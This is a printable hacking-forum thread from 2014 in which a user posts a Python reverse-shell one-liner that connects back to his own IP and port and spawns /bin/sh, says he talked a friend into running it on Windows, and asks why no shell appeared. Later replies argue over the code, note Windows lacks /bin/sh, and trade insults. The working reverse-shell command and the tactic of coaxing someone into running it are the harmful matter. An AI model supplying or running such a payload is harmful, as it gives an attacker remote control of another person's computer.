![]() |
Remote Shell Not Working - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Network Hacking (https://sinister.ly/Forum-Network-Hacking) +--- Thread: Remote Shell Not Working (/Thread-Remote-Shell-Not-Working) Pages:
1
2
|
Remote Shell Not Working - Strex - 03-29-2014 Alright, so I convinced my friend to install python on his windows machine and run the code: Code: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("my ip",my port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' I'm running mac on the computer I was listening on and he's running windows on the computer he ran the script on. I had a netcat listener listening on port 4444 before he ran the script, and after he ran it, I got a connection but I didn't get a shell. I tested this on 2 macs, one of which was connected to my phone's hotspot and the other was connected to my home's wifi so they could be from 2 different networks. I tested it with both bash and shell and they both worked, but it didn't work when my friend ran the script. Any idea why? RE: Remote Shell Not Working - Equinox - 03-30-2014 Let me break this down. Code: import socket,subprocess,os There's a few things wrong with this.
Don't go for spawning a shell. Make the shell. Make sure the shell accepts connection from the other. Ex: Code: import socket RE: Remote Shell Not Working - Strex - 03-30-2014 (03-30-2014, 08:53 AM)Duubz Wrote: Let me break this down. You're a tard 1. This is a troll thread, I know entirely why this wouldn't work 2. It wouldn't work because windows has neither /bin/bash nor /bin/sh 3. There's absolutely nothing wrong with the code 4. I did give my ip through a string, lol. I also gave the port. Sorry to steal your fire RE: Remote Shell Not Working - Equinox - 03-30-2014 (03-30-2014, 08:58 AM)Strex Wrote: You're a tard Pretty sure it's "Sorry to steal your thunder". And if this is a "troll" thread, then why post this? Especially when you ask for help in it. And no, you did not give the ip or port. Look at the provided code. Sure, you said "my ip" and "my port", but that alone is not your IP nor your port. RE: Remote Shell Not Working - Strex - 03-30-2014 (03-30-2014, 09:00 AM)Duubz Wrote: Pretty sure it's "Sorry to steal your thunder". No shit, you think I'm just going to give my ip to all of SL? RE: Remote Shell Not Working - Equinox - 03-30-2014 (03-30-2014, 09:01 AM)Strex Wrote: No shit, you think I'm just going to give my ip to all of SL? You do realize you can get your IP through socket, right? You don't HAVE to give us your IP. Nobody even said to give us your ip. RE: Remote Shell Not Working - Alan Turing - 03-30-2014 (03-30-2014, 09:00 AM)Duubz Wrote: Pretty sure it's "Sorry to steal your thunder". Its not a troll thread, OP legitimately has no idea what he is doing. RE: Remote Shell Not Working - Equinox - 03-30-2014 (03-30-2014, 03:31 PM)Kosaki Wrote: Its not a troll thread, OP legitimately has no idea what he is doing. Clearly. RE: Remote Shell Not Working - w00t - 03-30-2014 (03-30-2014, 09:00 AM)Duubz Wrote: Pretty sure it's "Sorry to steal your thunder". Sorry to steal your fire is an expression too, it refers to Greek mythology. Fire being a reference to Prometheus stealing fire from olympus and giving it to humans. I wouldn't put my IP in the code either, I would put "<my IP here>" How is he going to get his IP through socket, this is being ran on a different computer. subprocess.call runs the given command, then returns the exit code of the command. This code would work just fine on any Linux system. I do, however, highly doubt OP understood why it didn't work on Windows. RE: Remote Shell Not Working - Equinox - 03-30-2014 (03-30-2014, 03:42 PM)w00t Wrote: Sorry to steal your fire is an expression too, it refers to Greek mythology. Fire being a reference to Prometheus stealing fire from olympus and giving it to humans. Sorry for not being a linux-based Python programmer. Disregarding what type of programming I do or don't do, wouldn't it just be easier to have written it inside of the machine? If it's a website, and you've been able to upload your script, then why not just do it through the machine anyways? It doesn't take as much time, or at least doesn't in my cases, and is also more efficient. Mind you, that is based off of experience and opinion. |